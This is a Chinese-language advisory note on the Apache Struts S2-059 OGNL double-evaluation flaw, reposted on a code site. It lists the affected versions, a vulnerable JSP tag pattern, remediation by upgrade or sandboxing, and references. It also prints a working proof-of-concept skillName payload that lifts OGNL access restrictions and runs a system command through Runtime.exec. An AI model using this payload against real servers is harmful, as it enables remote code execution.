s2-059 初步分析


影響范圍

Struts 2.0.0 - Struts 2.5.20

描述

Apache Struts 2 會對某些標簽屬性(比如 id)的屬性值進行二次表達式解析,並且在 Struts 標簽屬性內強制進行 OGNL 表達式解析時的情況因此在某些場景下將可能導致遠程代碼執行。

例如服務端如下寫法

<s:url var="url" namespace="/employee" action="list"/><s:a id="%{skillName}" href="%{url}">List available Employees</s:a>

攻擊者如果可以控制skillName的話,則可以直接傳入一個 OGNL 表達式,那么最終當標簽渲染的時候,skillName 的表達式就會因為二次解析而被執行。

該漏洞類似於s2-029/s2-036 都是由於struts2 tag解析而引起的ognl表達式。

poc

poc與s2-029/036 的寫法一樣,以下為網上例子

skillName=(%23_memberAccess['allowPrivateAccess']=true,%23_memberAccess['allowProtectedAccess']=true,%23_memberAccess['excludedPackageNamePatterns']=%23_memberAccess['acceptProperties'],%23_memberAccess['excludedClasses']=%23_memberAccess['acceptProperties'],%23_memberAccess['allowPackageProtectedAccess']=true,%23_memberAccess['allowStaticMethodAccess']=true,@java.lang.Runtime@getRuntime().exec('open /Applications/Calculator.app'))

業務方自查

重點檢查 jsp頁面中是否存在上述示例寫法。

緩解措施

建議升級至 Struts 2.5.22 。如果升級s2組件對您的業務有影響,請參考struts官方文章中如何防止ognl注入。例如可以在沙箱中運行ognl表達式

https://struts.apache.org/security/#proactively-protect-from-ognl-expression-injections-attacks-if-easily-applicable

參考

https://cwiki.apache.org/confluence/display/WW/S2-059?spm=a2c4g.11174386.n2.3.40ac1051vjfTnI

https://struts.apache.org/security/#proactively-protect-from-ognl-expression-injections-attacks-if-easily-applicable


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM